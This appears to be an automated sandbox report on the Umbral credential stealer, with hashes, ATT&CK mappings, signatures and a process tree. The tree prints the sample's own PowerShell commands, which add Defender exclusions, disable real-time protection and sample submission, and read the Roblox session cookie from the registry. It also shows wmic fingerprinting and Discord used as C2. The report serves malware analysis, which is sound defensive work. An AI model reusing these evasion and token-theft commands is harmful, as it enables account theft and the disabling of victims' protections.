umbral | 9c7acf37e5afc9eccc95c482058be6240659038f34a3b1237db66addb8bfe20c

Analysis

max time kernel
126s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14-09-2024 08:43

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General

Target

Umbral.exe
Size

229KB
MD5

9c5fa08220a406dd817047dd315c696e
SHA1

2062fbed265d945daf4937ed0a118378f29a9d66
SHA256

9c7acf37e5afc9eccc95c482058be6240659038f34a3b1237db66addb8bfe20c
SHA512

81f7d183f7019c1933ecb755b5c8527c9ad6b8ffba4b7a2999c31696d65d96cc1185918f267dd838e9a64fa7e6ff525e6a0a60e6bfcc2a920f60fe3323f70376
SSDEEP

6144:lloZMArIkd8g+EtXHkv/iD4suXUYe5xyTXKYZd8cYb8e1mfyi:noZHL+EP8suXUYe5xyTXKYZd8tk

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4820-1-0x0000016E6BB40000-0x0000016E6BB80000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4472	powershell.exe
1140	powershell.exe
3644	powershell.exe
4568	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
19	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2344	wmic.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4472	powershell.exe
4472	powershell.exe
1140	powershell.exe
1140	powershell.exe
1140	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
2652	powershell.exe
2652	powershell.exe
2652	powershell.exe
4568	powershell.exe
4568	powershell.exe
4568	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4820	Umbral.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeIncreaseQuotaPrivilege	676	wmic.exe
Token: SeSecurityPrivilege	676	wmic.exe
Token: SeTakeOwnershipPrivilege	676	wmic.exe
Token: SeLoadDriverPrivilege	676	wmic.exe
Token: SeSystemProfilePrivilege	676	wmic.exe
Token: SeSystemtimePrivilege	676	wmic.exe
Token: SeProfSingleProcessPrivilege	676	wmic.exe
Token: SeIncBasePriorityPrivilege	676	wmic.exe
Token: SeCreatePagefilePrivilege	676	wmic.exe
Token: SeBackupPrivilege	676	wmic.exe
Token: SeRestorePrivilege	676	wmic.exe
Token: SeShutdownPrivilege	676	wmic.exe
Token: SeDebugPrivilege	676	wmic.exe
Token: SeSystemEnvironmentPrivilege	676	wmic.exe
Token: SeRemoteShutdownPrivilege	676	wmic.exe
Token: SeUndockPrivilege	676	wmic.exe
Token: SeManageVolumePrivilege	676	wmic.exe
Token: 33	676	wmic.exe
Token: 34	676	wmic.exe
Token: 35	676	wmic.exe
Token: 36	676	wmic.exe
Token: SeIncreaseQuotaPrivilege	676	wmic.exe
Token: SeSecurityPrivilege	676	wmic.exe
Token: SeTakeOwnershipPrivilege	676	wmic.exe
Token: SeLoadDriverPrivilege	676	wmic.exe
Token: SeSystemProfilePrivilege	676	wmic.exe
Token: SeSystemtimePrivilege	676	wmic.exe
Token: SeProfSingleProcessPrivilege	676	wmic.exe
Token: SeIncBasePriorityPrivilege	676	wmic.exe
Token: SeCreatePagefilePrivilege	676	wmic.exe
Token: SeBackupPrivilege	676	wmic.exe
Token: SeRestorePrivilege	676	wmic.exe
Token: SeShutdownPrivilege	676	wmic.exe
Token: SeDebugPrivilege	676	wmic.exe
Token: SeSystemEnvironmentPrivilege	676	wmic.exe
Token: SeRemoteShutdownPrivilege	676	wmic.exe
Token: SeUndockPrivilege	676	wmic.exe
Token: SeManageVolumePrivilege	676	wmic.exe
Token: 33	676	wmic.exe
Token: 34	676	wmic.exe
Token: 35	676	wmic.exe
Token: 36	676	wmic.exe
Token: SeIncreaseQuotaPrivilege	2872	wmic.exe
Token: SeSecurityPrivilege	2872	wmic.exe
Token: SeTakeOwnershipPrivilege	2872	wmic.exe
Token: SeLoadDriverPrivilege	2872	wmic.exe
Token: SeSystemProfilePrivilege	2872	wmic.exe
Token: SeSystemtimePrivilege	2872	wmic.exe
Token: SeProfSingleProcessPrivilege	2872	wmic.exe
Token: SeIncBasePriorityPrivilege	2872	wmic.exe
Token: SeCreatePagefilePrivilege	2872	wmic.exe
Token: SeBackupPrivilege	2872	wmic.exe
Token: SeRestorePrivilege	2872	wmic.exe
Token: SeShutdownPrivilege	2872	wmic.exe
Token: SeDebugPrivilege	2872	wmic.exe
Token: SeSystemEnvironmentPrivilege	2872	wmic.exe
Token: SeRemoteShutdownPrivilege	2872	wmic.exe
Token: SeUndockPrivilege	2872	wmic.exe
Token: SeManageVolumePrivilege	2872	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4820 wrote to memory of 4472	4820	Umbral.exe	90
PID 4820 wrote to memory of 4472	4820	Umbral.exe	90
PID 4820 wrote to memory of 1140	4820	Umbral.exe	95
PID 4820 wrote to memory of 1140	4820	Umbral.exe	95
PID 4820 wrote to memory of 3644	4820	Umbral.exe	97
PID 4820 wrote to memory of 3644	4820	Umbral.exe	97
PID 4820 wrote to memory of 2652	4820	Umbral.exe	99
PID 4820 wrote to memory of 2652	4820	Umbral.exe	99
PID 4820 wrote to memory of 676	4820	Umbral.exe	103
PID 4820 wrote to memory of 676	4820	Umbral.exe	103
PID 4820 wrote to memory of 2872	4820	Umbral.exe	106
PID 4820 wrote to memory of 2872	4820	Umbral.exe	106
PID 4820 wrote to memory of 4692	4820	Umbral.exe	108
PID 4820 wrote to memory of 4692	4820	Umbral.exe	108
PID 4820 wrote to memory of 4568	4820	Umbral.exe	110
PID 4820 wrote to memory of 4568	4820	Umbral.exe	110
PID 4820 wrote to memory of 2344	4820	Umbral.exe	112
PID 4820 wrote to memory of 2344	4820	Umbral.exe	112

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4568
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2344

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4152,i,3387628439405076340,17957358341235678872,262144 --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:8
1⤵
PID:552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tdeb2lix.bpn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4472-12-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/4472-13-0x00000258FEF90000-0x00000258FEFB2000-memory.dmp

Filesize
136KB

Download
memory/4472-14-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/4472-15-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/4472-18-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/4820-34-0x0000016E6D970000-0x0000016E6D9C0000-memory.dmp

Filesize
320KB

Download
memory/4820-33-0x0000016E6DA20000-0x0000016E6DA96000-memory.dmp

Filesize
472KB

Download
memory/4820-35-0x0000016E6D920000-0x0000016E6D93E000-memory.dmp

Filesize
120KB

Download
memory/4820-1-0x0000016E6BB40000-0x0000016E6BB80000-memory.dmp

Filesize
256KB

Download
memory/4820-0-0x00007FFE6A953000-0x00007FFE6A955000-memory.dmp

Filesize
8KB

Download
memory/4820-68-0x0000016E6D8F0000-0x0000016E6D8FA000-memory.dmp

Filesize
40KB

Download
memory/4820-69-0x0000016E6D9C0000-0x0000016E6D9D2000-memory.dmp

Filesize
72KB

Download
memory/4820-2-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/4820-87-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download